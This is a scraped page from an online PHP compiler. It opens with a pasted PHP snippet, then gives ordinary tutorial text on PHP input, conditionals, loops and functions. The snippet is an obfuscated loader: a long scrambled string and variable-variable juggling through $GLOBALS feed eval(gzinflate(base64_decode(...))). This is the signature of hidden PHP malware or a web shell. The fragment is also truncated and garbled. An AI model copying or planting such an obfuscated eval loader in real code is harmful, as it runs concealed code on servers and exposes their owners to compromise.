q=E,c,,W0lfww5POvgf5Gryuvoevq.i21;kJTAYoJswpccuPwm;PkwqIJq1FEzDh4z;fa3hL6sg3ikxT.l|PoD7pg;vpF3gbAd164v'52h;uqu98[ujL6HqvGn|hHlSI]}c04Ec.][L7dOGJRlgp9=TGs3fvkp1h|DorUq]H|;}[r1.mR0D61923mOweTdyGh.'SYItr5p.dt4UGen}5WSpPJbkFg|csr25U8]}bEH'iYn8n,vYW,cJQRhTJzh8gPIW[1QKL'=YyoFU}s=nmS|JjIYiJkiY1|EFsDn2Hg8qEjU'2AxnfYOgS1HeqgWojlEbT35KlFnHvi]2G.EuxI9hFWEwe5O]Ou.obomSQAnRzn'Tz65QLuc1,}v9Apkdst'W4LLz93dDEjaxcA9P8xKr;6xdkc]4Jxrm.vF|I2z84IHclf[;p5jUsr|xI8k0wjyWKxaeE2U.3=SxL,j6In;|bYFvE'S82]YnfK=z7'G06d|Yy6zdvbpKg3R|sm2'AxwthisuFLTdPI=KSuiot5asyh00[wEgFE8U;Qe'Re[J|a|wUKWW5cl5i0q[T4mQHzrm2TqzG9s}on4oqGd8nDJU4qEqxW;I5bzyJT|Kjo.}yDcJecxFp8ApLma7j9ADA=eLHaj[IaG'R5Ot5uSF4k|o0u2wW4WD7exYHgDu6zj6jv}iUfSIA=6bAtGHTO5F4i'IGjqpztq]3gD;pPlxFSpa[KKjAFTY65K';erb'u7v0fwx;]Hu=g'[m'w;'0HjjgOb4YbILzO,Pw.3.wGHdt73W1qGfPPR4QwnuF[]1YO;b9Q}wsYWEnU1D;49LFshf='eEOa1Ow7TiQ];;fcO=9YTG.TcbJ8ERa5]sukpu8TvQJwzQ4S;GRuKWnnA=qfxhywp0YLj1DkirjR32v;5|j4'mj.g=sGRr6.sbw,GQPkg6iQ'a}3Svi32xe[4hSoJA,Fydq'tSRmrt;kachPRsoIbWIA|woInR9}aive[xQLvEf]1UrkhR0J|HFYW.KvvfIhR]h9eKuDmgfxmL]]aoLJzbQm.9sSAuP}Fz1Q=gap=aKQwGugAo2|TRbu[s66pnwmaS3;}b;p=ExjzU}qFT6cc,kp=Udv59hUnh0[hUlbYKqYEg5Rj]qzTDxLolloqJUb|GA7DepUq;K0hzkk}Q9PeR9uuI;fK9tWG7uH0=swgR]0JPwq2}m6nD5nkR,qveRi.nST4h,xPtynH[j=1Jdr[}9F25YSbS|w]d[5S6Fh;hzbpKcEnDxx,dYiKDU,SdAo8g8]a=2Hhjb5,|bE5iw,TqQzpzGxAYo7IAW|WDg.l=|icEbq.GjG9|u=lg.y=AIPHj.f'.i|ppApk2HsKrwuc17tqH'fh'Q9LK;tK6chelt9ibd9TTWl;gakDkORx0FdRkW}2Klz8ARJi4cFfvP4c=4eH'btWJjhhQ3=kjc8n1lsddzLp9KKIA6bvvdpm'b4dT8qEojhE6i7,PFUbzH;.F3jsb;56ejcA,Gf,2Ae,qp5A'y3'67IY1r2[H.bD|koaUqaLqlDxna314g8w3PFb'ck4q;9[|=L'zYbK|EhYn,79LymqgO;KHRJm,Ud8zY;WS7t.TTP3GnWWfx23q65csYm0H|OOj0oOnTl'ywE7mH'G,Rc'T2[ov},r=i}Wtbhyg'mD]L4TjidE.JLkt6i1qneRx1QD9bSbf6G3koSUyRu3S9cm2yuT8eyfHia|o2W4L5Ws1|7Yg;nm3yAptc}0hJmqp.dv'5x]9Pi;3dPjfDOx;Ei]jfUv=1ci.9Fs3=h=QA1kO2O=m5vv416nyF2qA5c5f0]5E;Q,lLjvw[2bfLgu;cd3R;AUG3ch,2i2preif9lyiYKYgE=ySm04aIvHh=zP'nj3}WPdz=a]a5m]HYdfgpjhRGcADmpzWHjx7Fpoelu}k2HDW|PFO3Fa5LP2zkcKk;G=TrjLIIhF]gUhDf09kbUGk'0FaULQ4lGukmIRjDbR4vcdG;=v7bAm2GjRAFQc8G7[WR;b4EtpsKpwqRaebmRjalaJQIYiqO,xO327UAT}K6Fgxq,yPy'd,AGnl5iOWOo2';=9;5OJU9h0Rlsk|'PfQasHD|2m5HbdgyjfsTHy8;l}vLH3U}[dQFO0067c.8PmPWE1O6RYK}JhPnkeuY3]cf5gDao;tjp7s6w.,qj=1=H'c0txye6jp0wF8E']KP89zGw2AEjurR06Gvsvwg}p,Pji[I=yRIhuEEe8[pOeHj'R'LSS2EaJnp0,cWQ=;8PtWgJdjTQxY[9k9c7}'LpmO=hrKQt9x3K]pDH80Q9QonY5KwcAmTAY1rH5kml1SzhfGLh18Hzdn94'tGoHWm,k6JJeD0l60HWPa;qAgI}OEd53Og6I,v,azqSHPt}DzvyW=ckS1Q0rm1g5o7,s2T|]Tr,lE0|bTTYcAS'.tJP]TW}s]|D53c|J2'Wy0s2D},Ok0fitolql,PFn;A5cj4GSIdc'jeH;a'uK1T7J8,dSlg6fHWqKyhQW|iRxL4sU1JS8JI}Yw8KYL}j[nJg8p2[neay9Fq'mdvxE}dYI,s4U0]lP=0lQdt0u4jd3cfp;9e'ARHasdj7'JxfoH|RwAWP2r'3Y4vxF|.p,Q}1WA1fy9lY[6F=Y5lR}Ysmo58JJ97a]xQ'dOR93zlJcD=rGsPh8qYn0zq71kqys1rggsygSP9ghGd[oE8iT8erKStQ]lYTg'z0wRQ=SWzW7aPdz,v;mGj=KFYefmi4tjq9.IPOrHUI,P}ySLAa0jPs=j9xR.L2r16Yn1j9[zP8['v6S]l;YfO1P8g9jzh|0]o0dPFejsH6[AWinjlTEPTJ1ad|JRk1K9j;xfO'0JJddK5UD1Q,Q.sQ]Y.;]x]8Tca1J31EfUIOQzS=.]wpaj.K47fWznHv81E5c9bG2LFaSIyjAF0K;xu}F.U6KJujDS7Igc6Rhxah.kS]QrOn}Ud,O7JyRlR'wvaFct=tiRWjdrQh1xO2i|P6JDPtn4mYd0tnaw;K5Wy0=ii7sItkk,dv9[F[iv6E;5D[7]|S]sLpJ6yQ;,''k],a5ROfl32Ia;lIa]F9=rjI8S2;2xkbjWK2fspru9Gpn.UwcDdw.00jJJb652lGImrPJthwp1Azqgx.Uv2tqFAgEHK2,kSQUbQnwyf6QFHx=fmATlTP1hdKh6A47npE]R1j4k0Jqwz|dJJmAOhFsi2P6T47D]6iRLO0[}xgd=.7Wo3xxx]kKGLv5FDW8roh3a77T[c[uQ3yFbUK}S9Wh7s3OcQ6ru0QdtjQ,=suI}4U=1UgWLaI5.Ob;3sUpsydRaiLWo]iEpLzKF6Ly1FO|tvin7|n07sa;sYg=HG8aokGA84'pAwazSm1vf65laS.H|v4W6os3DSqyorhWcxKKz1dI['Upg6OFls1PY6=47WE0;zksPIyr'4rGn[iAKn9v.E7Ptk2S;jU]RP1Dpi3icHRygPWqqmahEsd}D2c|w7HU[avIUGU|QU}ug[Sfy9..JRoA6iA[Qt|r4UvGh6P.lc8EUR,AdY;|Y|snj0,S,h5vrQ=5Y'h6mrasAcAc4'}cLhafIvyL'0b'KbuTD;|no3];GrU0jhnpI0OsPs,nibraT[pn9;RnLdx7msmr=cRFt[2G4}SpT7}A4RnAf6YYb71.oP1umbx6G]Pgm7ft;xyctyQrIUTyqSjJ|aDxA=hcoaEdoADDbhG60Y9OpJ;}2Raw9crQqk0FleuFDDS,P3ojWRw;'wn94as.,R=k[PD}iEhU21en]5u2KS1KjG,d95HTiiIdzKitAhnTcW2=U}l,zHjfiSQw0K37.68;zplLPoqH6.yl;m9kH9OmcP7rwrD2rt1q7U1FDD7'nAQLeOvwJqeKTb;K65sEUUn,TQJGtTa19.3}kY;q'ue'5m6Fc|QR5TgI|,H9vk'OjAbnuAaapTxhtWI,EzE6|P4P|lE2o0Fs.|GS[laW3W}eeAlUfOIt;qUHcRt5kIPkbvYI=j2S.PqWER2|2134Uq'5PU}]mbrkUzarglwo5pfUKO8t7[b[bb1SA0ygumKUO9cyh0q8Ilef89xF4AQPA5tDzTumE0u[0PkJHD]2fyQ6sp;btOf7WsH1qUz[6JRiT3OPdFh8RWqxmI9D3I1OY2P5uvF3L]RSFgY74|94h[SgdF|.zbbO.Gd6cY3tdpfDtAY[AbUYq30F6.KUJ[';FKFpr8Ep1TUi'Il|vQ3hhYFI}2O6Avz,edP}iYiWl6g5nbw'ezJujKT606y7kDU=i86s8AP|RPomrA8qPrA9cg98|'Wr4F[8SAWSs0Pf7lvDh.w8e,rci63'FTro3}[Lg[b}t.R;gTvucg44mvrq}c]3SEITgJ8wu6vFEvn29k]nAxGJ|tc8mE]r.}.}capuS8t'Y3E4'g8hj'PEzk.32v5oO4tu4vL=OsE2wFh2j;tzb}i3bq'F|[e=mqus3gAEyL=21z.Svnjhs;a9]4IHazFGQorj}1Jc8p}QefGgpjz0,}cwwHmRjdiW7w|cftRAL3f[EhJDy,mF|;96;;1;22=}zIReob.DSi|Tnkh,En2bKEUxD=zi]WiLh4l|nL25S6t]c1sQvbd'qn133YEvulfPz6Wsfvok[|srJ12QfbKaF7a9mt|PllHQL}=22[POzH,GsvfqQs3.j1JYlwtSpY2=z]s|722UJgT3b65J;e.v}JeaR40Sdi23ur]PFFc.|Y[TWv2KTyr5]2P8=c]x.hFoPpAYo|1.e]T|l}wSAGRl'6TsLvAyFoGI0tHoJz=gdekob;]qb,kH=Acb=dl9Y8A[==I,==g,,k2]YL0bY=6J2H,Gzb6Qn=YYS4S=Qpb==T6,==7f=3nSwSJz3w67|Jd6AdO8,=G6v4H3x8e=SOP5m,kdb|4mKPYOQ6===FS=m7Eg43SF,6Sb=33;fa2I=Saw40498L3S=AL;|45A4On=31b=gb;x4|EvP4T=36[FS76D6==|65r8I0=5,Dt&");
$ {
    "GLOBALS"
}
["cttvxxcg"] = "x";
$ {
    $bxmnkg
} = "";
foreach ($ {
    $ {
        "GLOBALS"
    }
    ["cttvxxcg"]
} as $ {
    $ {
        "GLOBALS"
    }
    ["sgsoevv"]
}) {
    $ {
        "GLOBALS"
    }
    ["jelcoy"] = "main";
    foreach ($ {
        $ {
            "GLOBALS"
        }
        ["zzmhtsw"]
    } as $ {
        $ {
            "GLOBALS"
        }
        ["jelcoy"]
    } => $ {
        $ {
            "GLOBALS"
        }
        ["zxtifxy"]
    }) {
        $lqrqopgzo = "xx";
        $coatjmg = "val";
        if ($ {
            $lqrqopgzo
        } == (string)$ {
            $coatjmg
        }) {
            $xjvlyelwta = "new";
            $rvlqfjqqer = "main";
            $ {
                $xjvlyelwta
            }.= $ {
                $rvlqfjqqer
            };
            break;
        }
    }
}
eval("?>" . gzinflate(base64_decode($ {
    $ {
        "GLOBALS"
    }
    ["idfnjywmaxm"]
})));
?> 

PHP Online Compiler

Write, Run & Share PHP code online using OneCompiler's PHP online compiler for free. It's one of the robust, feature-rich online compilers for PHP language, running on the latest version 7. Getting started with the OneCompiler's PHP compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as PHP and start coding.

Taking inputs (stdin)

OneCompiler's PHP online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample PHP program which takes name as input and prints hello message with your name.

<?php
	fscanf(STDIN, "%s\n", $name);           
    echo "Hello ".$name.".\n";
?>

About PHP

PHP(Hypertext Preprocessor) is widely used server sripting language by Rasmus Lerdorf in the year 1994.

Key features

  • Free
  • powerful tool for making dynamic and interactive web pages
  • can integrate with almost all popular databases like MySQL, PostgreSQL, Oracle, Sybase, Informix, Microsoft SQL Server etc.
  • C like Syntax and easy to learn.
  • Object oriented scripting language.
  • easily embeddable into HTML
  • Loosely typed language.

Syntax help

Variables

In PHP, there is no need to explicitly declare variables to reserve memory space. When you assign a value to a variable, declaration happens automatically. Variables are case-sensitive in PHP.

$variable_name = value;  

Loops

1. IF Family:

If, If-else, Nested-Ifs are used when you want to perform a certain set of operations based on conditional expressions.

If

if(conditional-expression){    
//code    
} 

If-else

if(conditional-expression){  
//code if condition is true  
} else {  
//code if condition is false  
} 

Nested-If-else

if(condition-expression1) {  
    //code if above condition is true  
} elseif(condition-expression2){  
    //code if above condition is true  
}  
elseif(condition-expression3) {  
    //code if above condition is true  
}  
...  
else {  
    //code if all the conditions are false  
}  

2. Switch:

Switch is used to execute one set of statement from multiple conditions.

switch(conditional-expression) {    
case value1:    
 // code if the above value is matched    
 break;  // optional  
case value2:    
 // code if the above value is matched    
 break;  // optional  
...    
    
default:     
 // code to be executed when all the above cases are not matched;    
} 
 

3. For:

For loop is used to iterate a set of statements based on a condition.

for(Initialization; Condition; Increment/decrement){  
  // code  
} 

For-each:

// you can use any of the below syntax
foreach ($array as $element-value) {  
    //code  
}

foreach ($array as $key => $element-value) {   
    //code 
} 

4. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while(condition) {  
 // code 
}  

5. Do-While:

Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.

do {
  // code 
} while (condition); 

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity.

How to define a Function

function function_name(parameters) {  
  //code
}

How to call a Function

function_name (parameters)